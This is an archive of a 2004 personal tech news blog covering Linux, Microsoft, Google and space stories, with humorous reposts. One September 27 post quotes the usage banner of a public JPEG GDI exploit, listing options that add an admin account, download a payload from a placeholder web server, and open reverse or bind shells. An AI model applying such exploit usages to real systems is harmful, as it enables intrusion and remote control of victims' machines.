Thursday, September 30, 2004

RSS compatibility myth

car crash

Free software advocates in car crash

JPEG exploit could pass through antivirus software
Internet Explorer processes JPEGs before it caches them - which means that desktops would become infected before antivirus software had a chance to work

Microsoft: we can beat Linux without Longhorn
More whining from the vole
Biker site offers 100 Gig email
My inbox is bigger than yours.
Who's got lots of pages?
My site is bigger than yours.
Adam Bosworth - What is the platform?
Ex-Microserf , now at Google.
Toy cars in real parking spaces
Far too much time on their hands.
Red Hat buys AOL Netscape server software
Antique dealers R us.

Wednesday, September 29, 2004

Dear Windows....

Slashdot point out a letter to Windows, written like a breaking up letter. Unfortunately the site was Slasdotted, so i've cut and pasted the letter here.

Dear Microsoft Windows,

In retrospect, this letter should be of no surprise to you. For years now I have stood by you despite the terrible things people have said. We have always managed to work through our serious problems but too many things have been swept under the table. I do not think I can stand (idly) by you any longer.

What's that? No, another service pack will not help, not this time. I remember when we met, a warm April day, in 1992. For years I had been hearing about you, about your graphical user interface, innovations, and problems in the courtroom... I had seen you here and there, but it was not until that fateful day, April 6, that our relationship became serious. Though you had changed with the times, never like this. I was almost knocked off my feet when I first saw you. Right then I knew it, you had to be mine. Who else could offer me what you could? I wanted, no, I needed, your TrueType font support, your video playback capability, your color screen savers...

As time progressed so did my needs. Our affair took its next serious step on August 24, 1995. At the time I thought our happiness would never end. You brought me places I never thought possible. How could I refuse your Plug-and-Play cabability or your TCP/IP stack? I mean, you gave up your best friend, DOS, so our relationship could progress unhindered. It hurts me to look back at us, two starry-eyed lovers wanting nothing more than each other's company.

Then it almost all came tumbling down. June 25, 1998. What were you thinking? Were you thinking at all? You changed, like in 1995, but not like I thought you would. Still clinging to your DOS kernel, like a small, lost child clutching its teddy bear. Where was the OS I had learned to love? You feebly proffered USB support, DVD playback, and a Quick Launch toolbar, but you were beginning to mix with a bad crowd. With that invasive Internet Explorer. I knew about what happened... You let him access your Explorer. I thought that was something special between us.

Though we had a bit of a falling out afterwards, my love was rekindled after February 17th, 2000. You were once again new- Professional- just like I thought you could one day be. I knew you were once again stable, not like back in 1998, and that you were the only OS for me. I remembered what had drawn me you you in the first place- ease of use, speed, your stunning looks, your compatibility. I remember saying, "I hope things never change because I love you the way you are."

I thought that what we had meant something- your transformation in 2000 seemed to cement that. I know now that I was wrong. By Sept 17 you tried to change for the Millennium. I saw right through you- trying to settle down and fit in better with the 'home-user'. Did you think I would love you more because of a few cosmetic changes? I was not impressed with the full-color icons, fancy skins, or your new media player. I thought what we had was deeper than that. Luckily you gave me a choicer, I did not have to choose the new you, the old version would be fine. I know you meant well but you just shouldn't have done that, especially with the '1998' episode so fresh in my mind.

By October 25, 2001 more changes had come. Everyone told be how great the new you would be. I got so tired of hearing about how up to date, easy to work with, and slick looking you had become. That was all I could take. You changed so much that I didn't even know you any more. I really dug some of your new features but the old you, the you from 2000, could have done all this. So why did you have to change at all? I didn't want to upgrade you or make you into something you were not.

Well, like I wrote, I have reached my limit. Its going to take more than an automatic update to fix our relationship. I just don't feel like I know you anymore. For example, do you know what I found on the computer a few days ago? Spyware! I wonder who let that in...

Windows, I know you will try to change, but I have been hurt too many times. You should know that I have been seeing someone else for a few months now. She is fun, easy going, and will do something for me that you never even considered, share her source code.

I don't know what else to say- we had a good run, but now its over. Pack up your Media Player, your browser, hell, take Minesweeper if you have to. I am sure see each other from time to time but I know one thing, I'll never again have to depend on you.

Yours no longer....

New phishing expedition

Netcraft warn about new bank phishing hack
Unbelievably easy hack, using the banks own website to inject a fake form hosted elsewhere.

Ubuntu interview

Interview with Jeff Waugh of Ubuntu Linux
The Ubuntu Linux project was started by Mark Shuttleworth, of Soyuz-ISS-space-tourist fame.

What the bubble got right

Paul Graham - What the bubble got right

"The fact is, despite all the nonsense we heard during the Bubble about the "new economy," there was a core of truth. You need that to get a really big bubble: you need to have something solid at the center, so that even smart people are sucked in.

Now the pendulum has swung the other way. Now anything that became fashionable during the Bubble is ipso facto unfashionable. But that's a mistake-- an even bigger mistake than believing what everyone was saying in 1999. Over the long term, what the Bubble got right will be more important than what it got wrong."

Tuesday, September 28, 2004

Light'n'crisp Karamba theme

Light N Crisp theme on Detailed outline of the components required.

Little known HTML facts

Blogscoped has a great list of little known HTML/CSS facts, including such nuggets as "CSS can render aural media, and includes properties such as voice-family: female."

End of the internet is coming says BT exec

Wear a kevlar suit before you go online say BT exec
End of the internet is nigh, again. Private networks are the Next Big Thing (patrolled, of course, by big telecoms corporates like BT)

Smeg! It's a Jpeg!

Jpeg virus detected in the wild

Monday, September 27, 2004

Google index size limit?

Has Google's index size plateaued?
32 bit limit equates to rougly 4 billion urls indexed.

Schrock gets Slashdotted

Slashdot have noticed the Solaris v Linux kernel blog wars. Meanwhile , Linux kernel coder, Greg, has posted a rebuttal to the rebuttal of the rebuttal.

Spamassassin config tool

SpamAssassin config tool
Online easy to use tool for writing out a or user_prefs file.
SpamAssassin 3.0 has been released.

JPEG of death - all in one exploit released

Source code here on k-otik

Exploit Name:
* =============
* JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload
Flags Usage:
* -a: Add User X with Pass X to Admin Group;
* IE: Exploit.exe -a pic.jpg
* -d: Download a File From an HTTP Server;
* IE: Exploit.exe -d http://YourWebServer/Patch.exe pic.jpg
* -r: Send Back a Shell To a Specified IP on a Specific Port;
* IE: Exploit.exe -r -p 123 pic.jpg (Default Port is 1337)
* -b: Bind a Shell on The Exploited Machine On a Specific Port;
* IE: Exploit.exe -b -p 132 pic.jpg (Default Port is 1337)

An open letter to Microsoft
SANS open letter to Microsoft on GDI vulnerabilities and the current JPEG exploit worries.

Distrowatch weekly

Lastest Distrowatch weekly is out - Fedora, Sarge, Mandrake 10.1 and more mentioned.

kvm switch & 2.6 kernel

KVM switch & 2.6 kernel - use psmouse.proto=bare in lilo/grub conf
Source:Debian lists

Froogle coming to the UK

Froogle is signing up UK merchants

jpeg of death exploit

Source code here

Sunday, September 26, 2004

Red Hat lobs a blogbomb back at Sun

Red Hat exec Michael Tierman responds to this missive by Sun's Jonathan Schwartz, noting that "Merely being pathetic doesn't score a whole lotta points, even if you are an executive of a once-great company."


Friday, September 24, 2004

Schrock rebutting a rebuttal

Eric Schrock , Solaris kernel developer, rebuts a rebuttal and also has some opinions on the GPL and on why he doesn't think it's the best license for OpenSolaris.

I have to admit, from my Solaris days, one thing I thought was ultra-cool about Sun kit was one feature that Eric mentions- and i'll quote him directly:

"Dynamic reconfiguration allows entire CPU boards can be removed from the system without rebooting."

Friday LinkDump

Is Sun turning against Linux?
Fevered speculation.
Sun plans to attack Red Hat
The article that started it.
Linux kernel developer rebuttal of Eric Schrock
Kernel wars
Electoral Vote Predictor
Political Junkies R Us
Google Local Canada
Want a beer in Toronto? UK site launched
Glaciers in Antarctica are thinning faster than they did in the 1990s
Global warming
QT 4 preview announced
The future underpinning of KDE 4
Mandrake gets big fat contract
7 million euros from French Defence ministry

pizza_party -pmx 2 medium regular

Pizza Party is a command line tool for ordering pizzas from dominos. You can view a video of this action here. Man page is here

KDE 3.3 usability tested

KDE 3.3 UI evaluted by 7 real users.
In depth, lots of issues raised.
Slashdot discussion here

Win XP JPEG exploit code released

K-otik has posted the JPEG GBI + Overflow Administrator exploit. SP2 not affected. Exploit creates user X in the administrators group.

XP hell - done by design

Is Windows XP a bugging device?

Debate going on here

Thursday, September 23, 2004


Brit Music boss cant wait to start sueing file sharers
Pigopolist of the week.
US credit card firm under DOS attack
Extortion demanded.
Internet junkies go cold turkey
2 week disconnection experiment turns users to jelly.
Sun man gets 56 per cent pay hike
Sinking ship?


CityCreator allows you to create isometric pixellated city scenes. If you register you can share your cities with other members or send them as an e-card to your friends.

Wednesday, September 22, 2004

Blog Degrees game

Google Blogoscoped has an excellent suggestion - a game of sorts - namely this variant of the 6 degrees of Kevin Bacon game:

* The setup: Go to,, or
* The rules: Follow only links. Do not follow advertisement (like random banners or popups). Do not fill text boxes.
* The goal: Get to your own blog/ site using the least number of clicks possible.

How many degrees of link separation do you have to CNN, Microsoft, or Google? Can you find a way to find your blog at all in this web maze?

Eric Schrock on OpenSolaris

Solaris kernel developer , Eric Schrock, writes about Open Solaris and on why merging Solaris into Linux is a just an all round bad idea, and that creating a Sun fork of the Linux kernel tree would be an even worse idea. He reiterates his point that just throwing source code over the wall won't be enough. Creating an active community around OpenSolaris will not be easy. It's one heck of a read , from someone who is literally at the coalface of Solaris development.


iDesk gives users of lightweight window managers, such as fluxbox, windowmaker, etc icons on their desktop. These screenshots show iDesk in action.


Aterm is a lightweigt rxvt based terminal, with transparancy and JPG background image support. You can make aterm look good by using this guide.

Tuesday, September 21, 2004

Linux eye candy has a gallery of FVWM screenshots here. FVWM is a highly configurable, lightweight window manager.

Torsmo is an alternative to Gkrellm, and the only lib it uses is Xlib. Packages for Gentoo and VectorLinux are available.

gDesklets are nifty pieces of eye candy for improving your desktop. Here's a good example of gDesklets in action, in conjunction with FVWM.

Herding the rings

The Cassini team have released this picture of the Saturnian moon Prometheus herding a ring.

A space elevator by 2018?

I came across Liftport in this posting on Slashdot. They are a space elevator start-up, and proudly display a countdown clock on their home page ("4950 days to lift" as I write this) , which envisages the first Liftport elevator launch around 2018. And all of Liftport's employees have a blog as well and there is a comprehensive forum area too.

Google OS mockups

Google Blogscoped has posted links to mockups of a future Google OS located here and here. Note, that these mockups are not associated with Google in any way, but are third party work.

Odds and sods

Someone surfing a really big wave - all 75 ft of it.
New Google employees are called Nooglers - and they get a propeller hat too.
Someone just noticed Google Accounts

Gbrowser domain grab

Although was registered by Google on the 26th of April, a domain grab on variants has happened:
Record created on 20-Sep-2004

Domain Administrator
PO Box 4430
Ann Arbor, MI 48106-4430
Date Registered: 9/21/2004

31 1/2 Academy St.
St. Catharines
L2R 4Z9

More on Gbrowser

Google Browser opens up gates for web services
GBrowser? Bring it on!
Google browser planned?
El Reg is more definitive about it
Joe Beda (ex-Avalon poached by Google)
Is there a browser in Google's future?
Google Browser: Just A Matter Of Time?

Google Browser

Slashdot are speculating that Google may be developing a browser.
If you do a whois on , you'll find that Google has registered the domain.

]$ whois

Google Inc.
1600 Amphitheatre Parkway
Mountain View

Jason Kottke blogs about it.

Blogzilla ,Jason Kottke and Google Blogoscoped have updates.

Take back the web! is a new marketing initiative designed to spread the usage of Firefox worldwide.

View the Firefox teams here

According to Wired Firefox is wired, IE expired and even the pro-Windows is extolling the virtues of Firefox.

wiki wiki wiki

Wikipedia hits the 1 million article mark
And they need donations - $50,000 target.

Monday, September 20, 2004

Microsoft and Air Traffic control don't mix

Microsoft software implicated in air traffic shutdown

A three-hour system shutdown that affected South California's airports was reportedly caused by a technician who failed to reboot an MS-based system

More here

Google poaching

New York Post article on recent hires at Google - Adam Bosworth (ex- Internet Explorer) , Joe Beda (Avalon,Longhorn), Joshua Block (Java, Sun Microsystems)

Microsoft JPEG exploit

Microsoft JPEG exploit - POC released
Proof of concept code released. Only a matter of time before fully fledged worm is unleashed.

Debian ATI driver notes

ATI Linux drivers for Debian
Lots of detailed info on building the ATI Linux driver on Debian for Radeon, Mobility and FireGL cards.


A visual history of spam
Chart plots of one person's spam history since 1997.
I Found some of your life
Building A Lo-Fat Linux Desktop
NetFront: The Fast GTK+ Browser you Never Knew Existed
Mr. Gates goes to Washington

Friday, September 17, 2004

Star Wars Versus Star Trek

What if Imperial destroyers went head to head with Federation starships?

uber geeky page , but highly entertaining at the same time.

Share your docs with the world

PC Welt has an article on the dangers of installing SP2.

"As soon as you install SP2 on a Windows XP PC with a certain configuration, your file and printer sharing data are visible worldwide, despite an activated Firewall. This also applies to all other services. The PC only has to provide sharing for an internal local network and connect to the Internet via dial-up or ISDN. Users of DSL services are also affected, if a firewall is not integrated into the DSL modem or a common modem instead of a DSL router is used. Additionally, Internet Connection Sharing of the PC has to be disabled."

Moving to Slackware

Eduardo Sanchez has an excellent 3 part article on moving to Slackware, after giving up on Mandrake 9.2

Thursday, September 16, 2004


How to rip from vinyl or tape
Microsoft tells music biz to back lock-down CD standard
Torvalds gets award from The Economist now selling Linspire PCs
Brazil says No! to Microsoft
Arstechnica review Chris Sawyer's Locomotion

World Spam map

World Spam Map
Thanks to Google blogoscoped
Google Local
Local searching.

Wednesday, September 15, 2004

European LUG project

NewsForge is reporting on the EuroLugs network project which aims to create a network of European Linux user groups.

"The date of the first Euro Linux day or week has still to be defined, but spring 2005 seems the most likely period. It would be nice, if you ask me, to see some Euro-Penguin tours in those days. What about making new friends, hacking, and visiting your favorite European city all in the same week? Getting help from, and meeting, the guys who know where to find the best Wi-Fi hot spots or music clubs with the same ease?"

EuroLugs directory

Linux security PDF

Linux Today mentions a security presentation by Hal Polmeranz available as a PDF. The presentation is geared towards the busy admin who has more to do than track security on their many servers.

Sunbird Logo

Mark Carlson has pointed out to me that a newer version of the Sunbird logo is now available. He also has a page
showing the evolution of the logo.

Microsoft jpeg vunerability

Use Microsoft - get infected by a JPEG
Register reports on new JPEG vunerability affecting Office XP,IE, Outlook ,Word etc etc etc

Tuesday, September 14, 2004

Firefox 1.0

Firefox to reach 1.0 milestone
Preview release of 1.0 expected today.

$60 billion sucked out of I.T. by Microsoft

Novell : Microsoft have sucked $60 billion out of I.T. industry
Money could have been better spent on real innovations according to Novell CEO.

Moving to the Linux business desktop

Monday, September 13, 2004

Cassini - new portrait of Saturn and moons released

Cassini portrait of Saturn
5 moons surrounding Saturn are visible in this new picture.

Cork win All Ireland Hurling Final

Champions Cork arrive home with cup
"The triumphant Cork hurlers, along with the Liam McCarthy Cup, arrived back in their native county this evening. The train was greeted by thousands at Mallow train station with the squad arriving in Cork City shortly before 8pm."

Balmer video - 1986

Steve Balmer selling Windows 1.0 in 1986

German gov agency advises people to ditch IE

The Register is reporting that the German Federal Office for Information Security(BSI) is advising users to switch from Internet Explorer.

"BSI is the central IT security service provider for the German government. Its recommendations are usually taken extremely seriously."


Star Wars digitally remastered
600 networked Power Mac G5's were used.
Linux desktop migration tips
Intel predicts death of World Wide Web
UK University ditches Oracle project
EU not sure how to spell Euro in Latvian
Genesis data retrieved intact
First photo taken of extra-solar planet

Saturday, September 11, 2004

Mar Express - Solis Planum imaged

Mar Express has released several images of the Solis Planum region on Mars, including a 3D image.

Hurrican Ivan Update

BBC reporters first hand accounts of Ivan
"The wind outside is at a ferocious roar and coming in long, powerful bursts, each one shaking the concrete structure of our hotel on its foundations.
Even stepping outside for an instant would mean serious injury or worse."

If the roof goes we're in trouble
BBC speak to a Briton based in Jamaica

Hurricane Ivan Hits Jamaica

U.S. National Hurricane Center
Ivan Lashes Jamaica
Google News
Pictures and experiences sent into the BBC

Friday, September 10, 2004

Linux is evil?

Found this severely tongue-in-cheek posting on Slashdot today:

Recently I've been introduced to an operating system known as Linux.

Lured by its low cost, I replaced Windows 98 on my computer with Linux. Unfortunately the more I use it the more I fear that this "Linux" may be an insidious way for the Dark One to gain a stronger foothold here on Earth. I know this may be a shocking claim, but I have evidence to back it up!

To begin with, Linux is based off of an older, obsolete OS called "BSD Unix". The child-indoctrinatingly-cute cartoon mascot of this OS is a devil holding a pitchfork. This OS -- and its Linux offspring -- extensively use what are unsettingly called "daemons" (which is how Pagans write "demon" -- they are notoriously poor spellers: magick, vampyre, etc.) which is a program that hides in the background, doing things without the user's notice. If you are using a computer running Linux then you probably have these "demons" on your computer, hardly something a good Christian would want! Furthermore in order to start or stop these "demons" a user must execute a command called "finger". By "fingering" a "demon" one excercises an unholy power, much the same way that the Lord of Flies controls his black minions.

Linux contains another Satanic holdover from the "BSD Unix" OS mentioned above; to open up certain locked files one has to run a program much like the DOS prompt in Microsoft Windows and type in a secret code: "chmod 666". What other horrors lurk in this thing?

Consider some of these other Linux commands: "sleep", "mount", "unzip", "strip" and "touch". All highly suggestive in a sexual nature. I know that our Lord cannot approve of these, and I urge them to be renamed to something appropriate to the Christian community. Interestingly "CONTROL-G" (the sixth key from the left of the keyboard) does an abort. To write files a "VI" editor is included. All these are to ensnare the unsuspecting christian who could get tempted by typing "VIVIVI" all day long.

Fourth, Linux uses a flavor of DOS known as Bash. Bash is an acronym for "Bourne Again Shell". On the surface this would appear to be supportive of the Lord. However, remember that even Satan can quote the bible for his own purposes! While I believe Linux may be born-again, its obvious by the misspelling of "born" that its not born-again in an Christian church. Will the lies ever cease?

Additionally, one of the main long-haired hippies involved with the GNU Free Software Foundation supports communism, contraception and abortion. He has consistently supported 60's counter-cultural "values", and his web site even advocates government support of contraception. He also wears fake halos, and has quips about his made-up church that relates to his free software. I find such blasphemy to be extremely unsettling.

One must also remember that the creator of Linux, a college student named Linux Torvaldis, comes from Finland. I'm sure all the followers of Christ are aware of the heritical nature of the Finnish: from necrophilia to human sacrifice, Finnish culture is awash in sin. I find little reason to believe anything good and holy could arise from this evil land.

Finally, let us remember that there is an alternative to using the Satan-powered Linux. I think history has shown us that Microsoft is quite holy. I'm told that its founder, William Gates is a strong supporter of our Lord and I encourage my fellow Christians to buy only his products to help keep the Devil at bay.

Dive Into Python online

Following on from the Slashdot review of Dive Into Python , Mark Pilgrim has the online version of the book available at If you want a printed copy, you can buy it on Amazon

Thursday, September 09, 2004

UserLinux beta released

HP ships KDE laptops

aKademy interview with HPs Thomas Schneller


Sybase release free (as in free beer) database for Linux
Robot eats flies to generate its own power
The worst website EVER
WinFS vapourware?
Why Knoppix chose KDE
Vnunet interviews Bruce Perens

Wednesday, September 08, 2004

Dive Into Python

Slashdot review a new Python book by Mark Pilgrim.

"Dive Into Python may be one of the thinnest programming language books on my shelf, but it's also one of the best. Whether you're an experienced programmer looking to get into Python or grizzled Python veteran who remembers the days when you had to import the string module, Dive Into Python is your "desert island" Python book. If you're new to programming but have heard all the wonderful things about Python, make sure that this is the second programming book you read."

Forensic analysis of a live Linux system


First day with AdSense -Batelle gets busted
Kuro5hin - Making RSS scale : photo sharing plus an API plus RSS/XML feeds!
Know Your Enemy: Learning about Security Threats

When XP Goes Bad

The Inquirier is carrying this article on a virus infected laptop, Windows XP, and the hell of tech support.

Tuesday, September 07, 2004

Some mysql tips

From the mysql> prompt type

show processlist;

To show the list of mysql processes, with their process id numbers in the first column.

If you want to kill say, process 657, just type

kill 657

from Interesting things to know about MySQL

Hurricane eBay

Yahoo are reporting that wind from Hurricane Francis is for sale on eBay.

OSS torpedoed : Royal Navy will run Windows for Warships
Windows to be deployed as a command ,control and combat management system.

Sunday, September 05, 2004

Classic gaming

If you want to waste a few hours, you might want to visit C:Dos , which has hundreds of classic DOS games to download and play.

Saturday, September 04, 2004

Cassini - 3D photo

NASA have released a 3d photo of the Saturnian moon phoebe

The Swiss cheese of SP2

The Register has an in-depth article on the security holes in SP2. Certain ports are STILL left open by default, which are completely unneccesary for home machines.

Friday, September 03, 2004

Gmail invites available

I've got some Gmail invites to give out.
In order to get one, post your favourite recipe in the comments. I'll send invites out to the best ones.

Dog Blog

Looks like a dog has joined the blogging community

Ruff ruff!

Google Adsense: Multiple ads allowed

Google have announced that up to 3 Adsense units can be placed on a single page.

Thursday, September 02, 2004

Update: Astronomers deny ET signal

BBC News are reporting that astronomers have denied reports of an ET signal being detected.

Dr Paul Horowitz, of Harvard University, who specialises in hunting for possible alien contacts added: "It's not much of anything at all. We're not investigating it further."

SETI : Alien signal detected?

The Guardian is reporting that the SETI at Home project may have detected an alien signal originating in the constellations of Pisces and Aries. The signal has been observed three times in the past year. The Telegraph , New Scientist and The Scotsman are also reporting on it.

"This radio signal, now seen on three separate occasions, is an enigma. It could be generated by a previously unknown astronomical phenomenon. Or it could be something much more mundane, maybe an artefact of the telescope itself.

But it also happens to be the best candidate yet for a contact by intelligent aliens in the nearly six-year history of the SETI@home project, which uses programs running as screensavers on millions of personal computers worldwide to sift through signals picked up by the Arecibo telescope."